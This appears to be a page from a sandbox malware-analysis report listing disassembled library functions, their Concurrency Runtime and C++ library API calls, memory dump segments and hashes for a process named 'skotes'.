Function 00B9E7AF Relevance: 10.6, APIs: 7, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::InternalContextBase::ReclaimVirtualProcessor.LIBCONCRT ref: 00B9E7D7

Part of subcall function 00B9E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00B9E577
Part of subcall function 00B9E544: Concurrency::details::VirtualProcessor::Deactivate.LIBCONCRT ref: 00B9E599

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00B9E854
Concurrency::details::ScheduleGroupSegmentBase::ReleaseInternalContext.LIBCMT ref: 00B9E860
Concurrency::details::SchedulerBase::TriggerCommitSafePoints.LIBCMT ref: 00B9E86F
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00B9E879
Concurrency::location::_Assign.LIBCMT ref: 00B9E8AD
Concurrency::details::ScheduleGroupSegmentBase::AddRunnableContext.LIBCONCRT ref: 00B9E8B5

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Base::$Context$Virtual$DeactivateGroupInternalProcessorProcessor::ScheduleSchedulerSegment$ActiveAssignCommitConcurrency::location::_EventPointsReclaimReleaseRunnableSafeTraceTrigger
String ID:
API String ID: 1924466884-0
Opcode ID: 93b53eb93cc95662364c19483deff1793b59d16b9f71ce74dd031a61305a1682
Instruction ID: e4348065f1b3b8d88eb13ab51f7fc85fefd2f172696ce4583d95a47fe6a3990c
Opcode Fuzzy Hash: 93b53eb93cc95662364c19483deff1793b59d16b9f71ce74dd031a61305a1682
Instruction Fuzzy Hash: C2410575A00204EFCF05EFA4C495AADB7F5FF48310F1880B9ED599B282DB30A941CBA1

Function 00B86E00 Relevance: 9.3, APIs: 6, Instructions: 336COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 00B86ED1
std::_Rethrow_future_exception.LIBCPMT ref: 00B86F22
std::_Rethrow_future_exception.LIBCPMT ref: 00B86F32
__Mtx_unlock.LIBCPMT ref: 00B86FD5
__Mtx_unlock.LIBCPMT ref: 00B870DB
__Mtx_unlock.LIBCPMT ref: 00B87116

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Rethrow_future_exceptionstd::_
String ID:
API String ID: 1997747980-0
Opcode ID: 1a09979c24aab3d66683a6d8bbc34ca242f9022ef4bcbae061fe0796bd91675b
Instruction ID: 59d79b58cbb30d681a4dce29b884f44305367d61f326c472238597afd119b0e7
Opcode Fuzzy Hash: 1a09979c24aab3d66683a6d8bbc34ca242f9022ef4bcbae061fe0796bd91675b
Instruction Fuzzy Hash: F6C1D2B19042089FDB21EFB4C845BAFBBF4EF04314F1045ADE916976A1EB31E908CB61

Function 00B944DE Relevance: 9.2, APIs: 6, Instructions: 196timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

ListArray.LIBCONCRT ref: 00B94538
ListArray.LIBCONCRT ref: 00B9456C
Hash.LIBCMT ref: 00B945D5
Hash.LIBCMT ref: 00B945E5

Part of subcall function 00B99C41: std::bad_exception::bad_exception.LIBCMT ref: 00B99C63

Concurrency::details::RegisterAsyncTimerAndLoadLibrary.LIBCONCRT ref: 00B9474B
Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_error.LIBCONCRT ref: 00B947A4

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: ArrayHashList$AsyncConcurrency::details::Concurrency::scheduler_resource_allocation_error::scheduler_resource_allocation_errorLibraryLoadRegisterTimerstd::bad_exception::bad_exception
String ID:
API String ID: 3010677857-0
Opcode ID: 95af636800ce82aa54a8a5b98eceae9bbfa3ef2bef84caef9ab511d9f8dfd1e6
Instruction ID: ece0c58c65901a036cbcbcdd12ba9aceb850358bd76e487b5e3aaad77ede8cf4
Opcode Fuzzy Hash: 95af636800ce82aa54a8a5b98eceae9bbfa3ef2bef84caef9ab511d9f8dfd1e6
Instruction Fuzzy Hash: E58143B0A11A56BADB08DF788845BD9FBE8BF09704F10426AF428D7281DBB4A554CBD1

Function 00B8EE5F Relevance: 9.1, APIs: 6, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00B8EEBC
Concurrency::details::WaitBlock::WaitBlock.LIBCMT ref: 00B8EEC8
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00B8EEE1
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00B8EF0F
Concurrency::Context::Block.LIBCONCRT ref: 00B8EF31

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E3E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980665830.0000000000E55000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980796943.0000000000E56000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980939158.0000000000E6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981125789.0000000000E6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981254982.0000000000E6C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981448988.0000000000E71000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981597675.0000000000E73000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981781764.0000000000E80000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2981910800.0000000000E81000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_b70000_skotes.jbxd

Yara matches

Similarity

API ID: Wait$BlockConcurrency::details::_Lock::_Scoped_lock$Block::Concurrency::Concurrency::details::Context::ReaderReentrantScoped_lock::_Scoped_lock::~_SpinWriter
String ID:
API String ID: 1182035702-0
Opcode ID: 79230b919324979136801fb9a22900acc10117c7a17af6ce78c5a06d991f3663
Instruction ID: 3370ac9ed78c2a3e0d0cc31c50e2c684c1d8d655dcd85681a47183f50604f57c
Opcode Fuzzy Hash: 79230b919324979136801fb9a22900acc10117c7a17af6ce78c5a06d991f3663
Instruction Fuzzy Hash: E9213D70C142198AEF24FFA4C8556EEB7F0FF15320F6009AAE171A61E1E7B19A44CB55

Function 00BA1B29 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 104COMMON

Download Yara Rule

APIs

Concurrency::details::FreeVirtualProcessorRoot::ResetOnIdle.LIBCONCRT ref: 00BA1B57
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA1B66
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00BA1C2A

Strings

switchState, xrefs: 00BA1B5E
pContext, xrefs: 00BA1C22

Memory Dump Source

Source File: 00000006.00000002.2973332284.0000000000B71000.00000040.00000001.01000000.00000007.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000006.00000002.2973183378.0000000000B70000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973332284.0000000000BD2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2973940335.0000000000BD9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974116469.0000000000BDB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974330158.0000000000BE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974509112.0000000000BE6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2974706941.0000000000BE7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975510008.0000000000D3A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975673102.0000000000D3D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2975858151.0000000000D53000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976010191.0000000000D54000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D57000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976133799.0000000000D5E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976372810.0000000000D6A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976588375.0000000000D6B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976731520.0000000000D7B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2976855106.0000000000D7C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977036956.0000000000D91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977145651.0000000000D92000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977257068.0000000000D9A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977385733.0000000000DA7000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2977565674.0000000000DA8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978449942.0000000000DA9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978640930.0000000000DBB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978752510.0000000000DC2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978864602.0000000000DCA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2978946296.0000000000DCD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979012965.0000000000DD5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979113130.0000000000DD6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979526112.0000000000DE5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979623514.0000000000DEC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979728075.0000000000DF4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979818464.0000000000DF5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2979915094.0000000000DFD000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980008821.0000000000E00000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980111926.0000000000E10000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2980212112.0000000000E13000.00000040.00000001.01000000.00000007.sdmpDownload File
